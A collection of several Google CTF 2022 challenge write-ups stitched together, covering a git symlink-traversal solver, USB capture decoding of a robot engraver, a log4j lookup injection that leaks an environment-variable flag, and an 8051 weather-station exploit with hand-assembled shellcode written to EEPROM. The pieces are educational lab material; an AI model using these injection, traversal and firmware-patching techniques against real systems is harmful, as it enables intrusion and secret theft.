print('1. Create the repo:')print('mkdir -p 012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123467')print('ln -s / 012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123467/lnk')print('ln -s 012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234/0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123467/lnk/../../../../../../../../../../../../../../../../flag flag')
print('2. Commit and push the repo to GitHub or similar')
print('3. Use the following for the challenge:')
# Fill in your repo details.prefix = 'https://github.com'user = 'm417z'repo = 'legit'
url1 = f'{prefix}/{user}/'url2 = f'/../{repo}'url1_enc = encode_repo_url(url1)url2_enc = encode_repo_url(url2)
# Make sure the repo folder name is 255 characters long for everything to align# nicely.assert(len(url1_enc + url2_enc) < 255)url = url1 + '_'*(255 - len(url1_enc + url2_enc)) + url2
print(f'Clone the repo: {url}')print(f'Read the file: flag')``` |
## Official description
> You can see pictures of a robot arm laser engraver attached.> Can you figure out what it is engraving?>> Note: the flag should be entered all in upper case. It contains underscores but does not contain dashes.>> Good luck!
We are given a ZIP file containing[engraver.pcapng](https://github.com/google/google-ctf/raw/66de2426aaf3e37e4314714d1eb588d5804c62d6/2022/hardware-engraver/attachments/engraver.pcapng),[robot.jpg](https://raw.githubusercontent.com/google/google-ctf/66de2426aaf3e37e4314714d1eb588d5804c62d6/2022/hardware-engraver/attachments/robot.jpg)and[robot_engraving.jpg](https://raw.githubusercontent.com/google/google-ctf/66de2426aaf3e37e4314714d1eb588d5804c62d6/2022/hardware-engraver/attachments/robot_engraving.jpg)
robot_engraving.jpg showing a 6-axis robot drawing G letter with a laser pointer
## 1. Exploration
### USB capture
Let's start by opening `engraver.pcapng` in Wireshark. We discover USB traffic.As the capture was started before connecting the device, it contains the USBdevice initialization: - `GET DESCRIPTOR DEVICE` response indicates a [STMicroelectronics LED badge, mini LED display, 11x44](https://linux-hardware.org/index.php?id=usb:0483-5750) (ID `0x0483:0x5750`). - `GET DESCRIPTOR CONFIGURATION` response indicates that this device only has one [USB HID interface](https://en.wikipedia.org/wiki/USB_human_interface_device_class) with no standard subclass (`0x00`). - Then the host fetches some USB descriptors string: - `0x01`: MindMotion SOC Solutions - `0x02`: Hiwonder - `0x03`: MM32F103RB
The remaining packets of the capture correspond to HID data transfers asWireshark does not include a dissector for this device.
### Robot arm identification
The USB capture indicates `MindMotion SOC Solutions Hiwonder MM32F103RB`.The pictures [robot.jpg](https://raw.githubusercontent.com/google/google-ctf/66de2426aaf3e37e4314714d1eb588d5804c62d6/2022/hardware-engraver/attachments/robot.jpg)and[robot_engraving.jpg](https://raw.githubusercontent.com/google/google-ctf/66de2426aaf3e37e4314714d1eb588d5804c62d6/2022/hardware-engraver/attachments/robot_engraving.jpg)show a 6-axis blue robot holding a laser pointer.
With a bit of online search, we find that this robot is the[LeArm by Hiwonder](https://www.hiwonder.com/store/learn/2.html).More search indicates that we can interface with robot with<https://github.com/ccourson/xArmServoController> library.
## 2. Proposed solution
We extract the HID data from the USB capture and dissect it by analysing[xArmServoController](https://github.com/ccourson/xArmServoController)source-code.We notice that only 3 servomotors are used to draw, which means we don't needto compute a reverse kinematic model of the arm. We finally plot the lettersthe robot was drawing during the USB capture and get the flag.
### HID data dissection
We write a Python script to extract HID data using Scapy.We skip a fixed header defined in [xArmServoController/xarm/controller.py](https://github.com/ccourson/xArmServoController/blob/33cd7a0bd924c60a758ed69e85294620e72abc5b/Python/xarm/controller.py#L143).
```Pythonfrom scapy.all import rdpcap
p = rdpcap("engraver.pcapng")for pkt in p: l = pkt.fields["load"] if l[14] != 0x09 or l[15] != 0x00 or l[16] != 0x00: continue
# Skip 5555080301 header (SIGNATURE, SIGNATURE, length, CMD_SERVO_MOVE, 1) c = l[27+5:27+5+5] if not c: continue # ignore empty
duration = c[0] + (c[1] << 8) servo = c[2] position = c[3] + (c[4] << 8) print(duration, servo, position)```
We get 418 combinations of durations, servomotor identifier and position:```500 1 23001500 2 13001500 3 1700[...]1500 4 25001500 5 16001500 6 1500```
### (Not) computing inverse kinematic
A first look at the previous data can be scary as we notice that all 6servomotors are being driven. This means that we might need to compute a inversekinematic model of the arm to get the pointer position and orientation fromthis data.After looking more closely, we notice 43 repetitions of a position resetpattern:```500 1 23001500 2 13001500 3 17001500 4 25001500 5 16001500 6 1500```
Let's replace this pattern by `0`.**We now notice that only servomotors 1, 2 and 3 are being driven.**
Servomotor 1 is always moving between position `2300` and `2400`. A look atthe LeArm documentation reveals that it is the gripper. On the provided picturesthis gripper is positioned on the laser pointer button.**Servomotor 1 turns on and off the laser pointer.**
We can consider a 2-axis drawing robot using the pan and tilt of the gripper.
### Plotting the letters
We write the following Python script that computes the arm state after eachcommand and then plot each succession of movements between resets:```Pythonimport matplotlib.pyplot as plt
def plot_data(states, n, laser_btn=True): # Remove points when laser is off for i in range(len(states[1])): if states[1][i] == 2300 and laser_btn: states[2].pop(i) states[3].pop(i)
# Inverse X axis states[2] = [-x for x in states[2]]
# Plot plt.figure() plt.ylim(1500 - 50, 1700 + 50) plt.xlim(-1500 - 50, -1300 + 50) plt.axis('off') plt.plot(states[2], states[3], linewidth=50) plt.savefig(f"out/{n}.png") plt.close()
# Build arm state after each commandstates = {}states[1] = [2300]states[2] = [1300]states[3] = [1700]n = 0with open("engraver_data_decoded", "r") as f: for line in f.readlines(): c = line.split()
# Reset between letters if len(c) < 2: n += 1 if len(states[1]) > 1: plot_data(states, n) states[1] = [2300] states[2] = [1300] states[3] = [1700] continue
duration, servo, position = map(int, c) if servo != 1: states[1].append(states[1][-1]) if servo != 2: states[2].append(states[2][-1]) if servo != 3: states[3].append(states[3][-1]) states[servo].append(position)```
This script is imperfect as it does not consider timing andpersistence of vision, but it was enough to flag this challenge.

Script output with laser_btn=True (top) and laser_btn=False (bottom)
We recognize "fr3edom" at the end of the flag, which after a bit of thinking ledto `CTF{6_D3GREES_OF_FR3EDOM}`. |
Log4j Writeup â Google CTF
**Challenge URL:** [https://log4j-web.2022.ctfcompetition.com/](https://log4j-web.2022.ctfcompetition.com/)
Upon connecting to the challenge you are presented a Python Flask Webserver

Challenge Source Code

We are provided a Dockerfile â This can be used to deploy the Challenge Environment Locally
**Challenge Analysis**
Docker Build Instructions
I had originally planned to build the docker image with the intent of viewing the log files produced by the program. (Scroll down to view contents of log4j2.xml)
sudo docker build  .

sudo docker run âprivileged -p 1337:1337 578eea6f503a

sudo docker ps

sudo docker exec -it e0aa27c10738 bash

**Important Files**
/Log4j/server/app.py
/log4/chatbot/src/main/resources/log4j2.xml
/log4j/chatbot/src/main/java/com/google/app/app.java
**/Log4j/server/app.py**

What we can see is that when the webserver accepts a post request at / it will take the user provided input and pass it into the chat function which has two parameters.
Chat function / class

The program being ran is a Java application which returns output (via stdout) back to the user via an AJAX request performed In JavaScript.
I noticed it also appears to print() stderr each run also, I originally expected this to print to console for the running python app on the linux server.
**/log4j/chatbot/src/main/java/com/google/app/app.java**
package com.google.app; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import java.lang.System; import java.time.format.DateTimeFormatter; import java.time.LocalDateTime; import java.util.Arrays; public class App { public static Logger LOGGER = LogManager.getLogger(App.class); public static void main(String[]args) { String flag = System.getenv("FLAG"); if (flag == null || !flag.startsWith("CTF")) { LOGGER.error("{}", "Contact admin"); } LOGGER.info("msg: {}", args); // TODO: implement bot commands String cmd = System.getProperty("cmd"); if (cmd.equals("help")) { doHelp(); return; } if (!cmd.startsWith("/")) { System.out.println("The command should start with a /."); return; } doCommand(cmd.substring(1), args); } private static void doCommand(String cmd, String[] args) { switch(cmd) { case "help": doHelp(); break; case "repeat": System.out.println(args[1]); break; case "time": DateTimeFormatter dtf = DateTimeFormatter.ofPattern("yyyy/M/d H:m:s"); System.out.println(dtf.format(LocalDateTime.now())); break; case "wc": if (args[1].isEmpty()) { System.out.println(0); } else { System.out.println(args[1].split(" ").length); } break; default: System.out.println("Sorry, you must be a premium member in order to run this command."); } } private static void doHelp() { System.out.println("Try some of our free commands below! \nwc\ntime\nrepeat"); } }
We can see the flag is stored in an environment variable on the machine, and stored as a variable in this java application.

We can see during each run LOGGER.info(âmsg: {}â, args); is called passing in the user provided input and logging it..
This seems like an exploit is possible via the log file via the log4j JNDI exploit, but that is not the case.
The log4j2.xml file is for the newest version of log4j; it is not the vulnerable version of log4j running and a JNDI exploit will not actually work.

What we can see is log4j is only configured to output to console. (What is parsed and printed by the python webserver during each run)
**What we know:**
Our flag is stored in a environment variable
JNDI Lookups are not vulnerable / likely disabled
STDERR can be output
This suggests to test different lookups containing ${} and conversion characters in our input.
[https://logging.apache.org/log4j/2.x/manual/lookups.html](https://logging.apache.org/log4j/2.x/manual/lookups.html)
Log4j supports environment lookups, this allows you to print environment variables to logs

There is a four different commands that can be ran as a âfree userâ, at first I tried the following:



After looking at different syntax options and what is passed into the program and supported by log4j I had eventually noticed some odd behavior from the python web application.

If we place a % before the expected forward slash it is interpreted by Log4j as a conversion character during logger.info() resulting in an error being output to console via STDERR.
Python Flask Webserver code â How our input is interpreted / split


**So what is happening?**
We are triggering the Java application to run into an error because we are inserting an invalid conversion character where it expects a plain text string due to improper input validation.
**How can we exploit this to leak the flag?**
I had originally tried various conversion characters from researching and invalid options to test
%d{${env:FLAG}}

%\\${env:FLAG}

Java Lookup

[https://logging.apache.org/log4j/2.x/manual/lookups.html](https://logging.apache.org/log4j/2.x/manual/lookups.html)
[https://logging.apache.org/log4j/2.x/log4j-core/apidocs/src-html/org/apache/logging/log4j/core/lookup/JavaLookup.html](https://logging.apache.org/log4j/2.x/log4j-core/apidocs/src-html/org/apache/logging/log4j/core/lookup/JavaLookup.html)
This lead me to look up different Log4j Lookups & their source code, What we need to have happen is trigger an error / exception while having our variable (Environment Variable Lookup) interpreted., using conversion characters this was not going to happen.

If you look above you will notice one important thing that takes place when we run a Java Lookup (We pass a string as an argument and if it does not match it is then passed again to IllegalArgumentException.)
That means running ${java:${env:FLAG}} will trigger STDERR output again and print back the flag given the code for IllegalArgumentException uses the string in its error.

Boom we have our flag  |
# GoogleCTF 2022 - Hardware - Weather writeupThis challenge is what I consider a good learning experience, and a perfect model for how hardware challenges should be like. It was really interesting not only in terms of the problems you needed tosolve to get the flag, but also in terms of the additionalresearch you needed to do to get a clear picture of how the system worksexactly. I would definitely spend hours solving challenges like thisonce again.
## Challenge description> Our DYI Weather Station is fully secure! No, really! Why are you> laughing?! OK, to prove it we're going to put a flag in the internal> ROM, give you the source code, datasheet, and network access to the> interface.
## Attachements[firmware.c] \[Device Datasheet Snippets.pdf]
## Remote connectionIf the servers of the challenge are still running, then you can connect to them at `weather.2022.ctfcompetition.com 1337`.
Otherwise you would need to compile them from [sources](https://github.com/google/google-ctf/tree/master/2022/hardware-weather/challenge), I haven't tried doing it, but it should be simple since they provide a Dockerfile. Keep in mind that you aren't allowed to look at the sources before solving the challenge.
## Prerequesite knowledgeThe line separating *Prerequisite knowledge* and *Stuff to search for* is arbitrary, and in fact it can be argued that they are the same thing,but in this writeup I will be drawing that line based on what I already knewbefore this challenge.
### SFRs â Special Function RegistersFor microcontrollers, it is very common to have special registers that exhibit special behaviour when read or written to, or control themicrocontroller itself. These registers are (usually) accessed through RAMaddresses, and so the same instructions to modify any memory byte appliesto them as well.
### I2CI2C is a protocol that allows multiple devices to communicate with eachother. The details of exactly how the protocol works are not importantas they are abstracted away by the microcontroller, all that is neededto know is that each device connected to the I2C bus has a port andcan transfer any size data to the microcontroller when requested.
## Initial experimentsIf we try to open a remote connection with the program through a utilitysuch as `ncat` with `ncat weather.2022.ctfcompetition.com 1337`, we getwhat seems like a command prompt `? `. Trying some commands like `ls`,`echo`, `cat`... achieves nothing, so it definitely isn't a shell, `help`doesn't help either ;)
At his point no more blind testing can be done, so it's time to readthe datasheet and the source code.
## Walking through the datasheetThe datasheet provided contains a good overview of the wholesystem, and even more details about how to control the different devices.
### Overview
From the circuit diagram, we can see that the system is composed of:* A microcontroller(CTF-8051)* EEPROM(CTF-55930D)* Multiple sensors* I2C bus(SDA, SCL)* Serial IO(Stx, Srx)
All the sensors and the EEPROM are connected with the microcontrollerthrough the I2C bus.
By googling [8051], we can find that there is a processor with that name,this could be useful if, say *cough* for a reason, we needed to reprogram the device *cough*, and just in general to have abetter understanding of the components in the system.
Further down we have a table giving the I2C portsof the sensors.

### Devices InterfaceThe datasheet also describes in detail how to interact with the different devices connected to the microcontroller. In short, it specifies:* Serial IO, through SFRs.* I2C Controller, through SFRs.* FlagROM, through SFRs.* Sensors, through I2C.* EEPROM, through I2C.* Pinging I2C devices.
Also, quoting from the datasheet:> In a typical application CTF-55930B serves as firmware storage for > CTF-8051 microcontroller via the SPI(PMEM) bus.
So the EEPROM stores the program code, in addition, the datasheet describesthe protocol to clear bits from the EEPROM(setting bits is impossiblewithout physical access to the device), effectivly explaining how to reprogram the EEPROM with some constraints. This definitely could be usedto exploit the system.
## Walking through the source codeRight at the beginning of `firmware.c`, we can see a bunch of declarations using a special syntax:```c// Secret ROM controller.__sfr __at(0xee) FLAGROM_ADDR;__sfr __at(0xef) FLAGROM_DATA;
// Serial controller.__sfr __at(0xf2) SERIAL_OUT_DATA;__sfr __at(0xf3) SERIAL_OUT_READY;__sfr __at(0xfa) SERIAL_IN_DATA;__sfr __at(0xfb) SERIAL_IN_READY;
// I2C DMA controller.__sfr __at(0xe1) I2C_STATUS;__sfr __at(0xe2) I2C_BUFFER_XRAM_LOW;__sfr __at(0xe3) I2C_BUFFER_XRAM_HIGH;__sfr __at(0xe4) I2C_BUFFER_SIZE;__sfr __at(0xe6) I2C_ADDRESS; // 7-bit address__sfr __at(0xe7) I2C_READ_WRITE;
// Power controller.__sfr __at(0xff) POWEROFF;__sfr __at(0xfe) POWERSAVE;```It contains a declaration for all the SFR ports described in the datasheet,in addition to `POWEROFF` and `POWERSAVE`, which were left undocumented.
Anyway, as the law of reverse engineering dictates, we must start reading the source code from the main function, I would recommand takinga look at the function, but tl;dr: it continously checks for user commandsreceived via the serial input and handles them.
The two valid commands are:
`r P L`: Read L bytes from I2C device at port P.
`w P L D[L]`: Write L bytes from D to I2C device at port P.
Remember talking about reprogramming the EEPROM through the I2C interfacewell, it seems easy now that we have the `w` command, no?
Well, there are two problems.
### Port verificationThe original function of the entire system is to report different atmospherical data, and so the developpers limited reading and writing toI2C to sensor ports through the function `bool is_port_allowed(char*)`.
As a result we are limited to the ports:```cconst char *ALLOWED_I2C[] = { "101", // Thermometers (4x). "108", // Atmospheric pressure sensor. "110", // Light sensor A. "111", // Light sensor B. "119", // Humidity sensor. NULL};```
The declaration of that function goes as follow:```cbool is_port_allowed(const char *port) { for(const char **allowed = ALLOWED_I2C; *allowed; allowed++) { const char *pa = *allowed; const char *pb = port; bool allowed = true; while (*pa && *pb) { if (*pa++ != *pb++) { allowed = false; break; } } if (allowed && *pa == '\0') { return true; } } return false;}```When the port is validated, the string is passed to `uint8_t str_to_uint8(const char* s)` to be converted to an unsigned 8-bitinteger.```cuint8_t str_to_uint8(const char *s) { uint8_t v = 0; while (*s) { uint8_t digit = *s++ - '0'; if (digit >= 10) { return 0; } v = v * 10 + digit; } return v;}```The original intent behind this function is returning true only when theport string is exactly 101, 108, 110, 111 or 119, but the implementationis incorrect, and if you use some of your grey matter you can figureout that it would return true even when the string only starts with thosevalue, and so, for example `1013` would also be valid since it starts with101.
So as long as we have a number starting with 101(or the others), we canfigure out a value that, when wrapped around as it is converted to a uint8will give us any arbitrary port we wish.
It would be useful to write a function that would take an input port andgenerate an exploitable port that would pass the validation function andwhen converted to a `uint8_t` would wrap around to the desired port.
What we want to do is solve the equation for X `101..X % 256 = port`,where `101..X` denotes a concatenation. But since I am bad at modulararithmetics, I will just bruteforce the value of X.```pydef exploit_port(port): i = 0 while True: if int('101' + str(i)) % 256 == port: return '101' + str(i) i += 1```
### EEPROM I2C portThe second problem is that we do not know the I2C port that would let usprogram the EEPROM, we can however just send dummy read commands and ifthere is no error returned, then the device should exist
Let's start by the basics:```pyfrom pwn import *
p = remote('weather.2022.ctfcompetition.com',1337)```We could've used 0 for the request length and do as the datasheet says*a ping*, but the program will refuse a value of 0, so instead we justsend 1 as request length.
```pydef print_all_valid_i2c_ports(): print('Valid I2C ports:') for p in range(256): print(f'\r\t{p}', end='', flush=True) command = f'r {exploit_port(p)} 1' p.sendafter(b'? ', command.encode('utf-8')) if not 'err' in p.recvline().decode('utf-8'): print(' X')```
When we call that function, we get the following output:```Existing i2c ports: 33 X 101 X 108 X 110 X 111 X 119 X```
We already know from the datasheet that the ports `101`,`108`,`110`,`111`and `119` are used by the sensors, that leaves only port `33` for theEEPROM, so it is safe to assume it is the one we are looking for.
---The rest of the source code is not very interesting, it only consists ofa simple tokenizer for the input commands, a serial print function(we willmake use of this one later) and I2C read and write functions.
## EEPROMThe datasheet specifies that we cannot reset the EEPROM without physicalaccess to the device, what we can however do through the I2C interface isreading, and clearing bits to 0.
Take a look at [exploit.py] for the implementation of some helper functionsto read pages from the EEPROM and apply a clear mask.
If we read all the content of the EEPROM and dump it into a file we get[eeprom].
The most interesting part about the content of the EEPROM is at the end```00009f0 0031 3031 0038 3131 0030 3131 0031 31310000a00 0039 ffff ffff ffff ffff ffff ffff ffff0000a10 ffff ffff ffff ffff ffff ffff ffff ffff*0001000```
It is completely filled FFs, and since we can only clear bits, thisbasically means we can write whatever we want in this area of the EEPROM,and remember the EEPROM is what stores the code executed by themicrocontroller, so we can get RCE if we want to.
## Putting everything togetherNow all that is needed is putting some shellcode in that area full of FFsand jumping to that section of the code, to do that however we must finda place where we can modify the code only by clearing to put a jump tothe region with FFs. I found a good candidate for that in the`serial_print` function(at address 0x0123)```0000120 80f0 ad22 ae82 af83 8df0 8e82 8f83 12f0 ^ beginning of serial_print0000130 fc07 1660 f3e5 fc60 828d 838e f08f 0712```We can change `82` to `02`(opcode for LJMP) just by clearing bits, and`AF83` to `0C00`(the 8051 uses big endian words), this address isarbitrary and any address in the FF region will do(of course it needs tobe reachable from AF83 just by clearing bits), as for the first byte at0x0123, we can change it to a NOP(0x00) so that it is ignored.
What we are essentially doing here is inserting the following shellcodeinside `serial_print`:```sserial_print: NOP LJMP 0x0C00```
The choice of the function `serial_print` was semi-arbitrary, we could'veused any other function for the jump, but it also was strategic sinceit is immediatly called after the write operation is done, so we don'tneed to send any other command to do the jump, it will just happeninstantly.
Now all that is needed is some subprogram that would read the flagROMcharacter by character and send them over the serial line(to us).
The following does the job:```s MOV #ee, 0LOOP: MOV A, #f3 JZ LOOP MOV #f2, #ef INC #ee MOV A, #ee JZ END LJMP LOOPEND: MOV A, #f3 JZ END MOV #f2, '\n' SJMP $```*Using a custom syntax, '#XX' is for SFRs*
It is the equivalent of the C code:```cFLAGROM_ADDR = 0;while(true){ while(!SERIAL_OUT_READY); SERIAL_OUT_DATA = FLAGROM_DATA; if(!++FLAGROM_ADDR) break;}while(!SERIAL_OUT_READY);SERIAL_OUT_DATA = '\n';while(true);```
I was too lazy to find an assembler for the 8051, so I assembled it by handto:```pypayload = [ 0x75, 0xEE, 0x00, 0x85, 0xEF, 0xF2, 0x05, 0xEE, 0xE5, 0xEE, 0x60, 0x03, 0x02, 0x0C, 0x03, 0xE5, 0xF3, 0x60, 0xFC, 0x75, 0xF2, 0x0A, 0x80, 0xFE]```
Remember the payload should be put in its place before tampering with`serial_print`
And finally:```pyeeprom_flah_new_page(48, payload)eeprom_write_mask(4, p4mask) # setup serial_printprint(p.recvline())```*Again, take a look at [exploit.py] for a full implementation*
Executing the exploit gives us:```bash$ python exploit.py[+] Opening connection to weather.2022.ctfcompetition.com on port 1337: DoneDelivering payloadw 101153 69 48 165 90 165 90 138 17 255 122 16 13 250 17 26 17 159 252 253 243 252 26 12 159 3 138 13 245 127 1 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 w 101153 1 48 Page 4875 ee 00 85 ef f2 05 ee e5 ee 60 03 02 0c 03 e5 f3 60 fc 75 f2 0a 80 fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Injecting jump at page 4 to 0xC00w 101153 69 4 165 90 165 90 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 255 253 243 255 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 waiting for response...b'CTF{DoesAnyoneEvenReadFlagsAnymore?}\n'[*] Closed connection to weather.2022.ctfcompetition.com port 1337```
Finally! The flag is `CTF{DoesAnyoneEvenReadFlagsAnymore?}`
[firmware.c]: https://github.com/YavaCoco/Writeups/blob/main/GoogleCTF2022/Hardware-Weather/res/firmware.c[Device Datasheet Snippets.pdf]: https://github.com/YavaCoco/Writeups/blob/main/GoogleCTF2022/Hardware-Weather/res/Device%20Datasheet%20Snippets.pdf[exploit.py]: https://github.com/YavaCoco/Writeups/blob/main/GoogleCTF2022/Hardware-Weather/res/exploit.py[eeprom]: https://github.com/YavaCoco/Writeups/blob/main/GoogleCTF2022/Hardware-Weather/res/eeprom
[8051]: https://en.wikipedia.org/wiki/Intel_8051 |
https://galtashma.com/posts/googlectf-2022-legit-git-challenge-write-up# Final Solution### Steps
* Clone our crafted repository* Use command 1 to make server chdir into inner bare repository* Use command 3 to request git fetch, this will trigger our fsmonitor script* script will copy contents of `/flag` into `my-bear-repo/worktree/flag`* Use command 2 to print the contents of our newly created file `my-bear-repo/worktree/flag`* Success! |
# Writeup
# Initial Recon: Upon decrypting, the whereabouts of the challenge had to be figured out. Conveniently the file was dockerized, featuring an ngnix proxy and an docsnotebook repo, seemingly being written in emacs. As the "gold rush" for early first bloods demands, the codebase was mostly checked for hardcoded stuff, like the SSL Keys, in an attempt to get some cheesy quick solutions. Nothing really of worth was noted. Another thing of interest is to recognize early on where flags are stored and how the admin bot would use the application. The App has basic login/regi functionality, and a feature to export notes in the 'orgmode' lang.
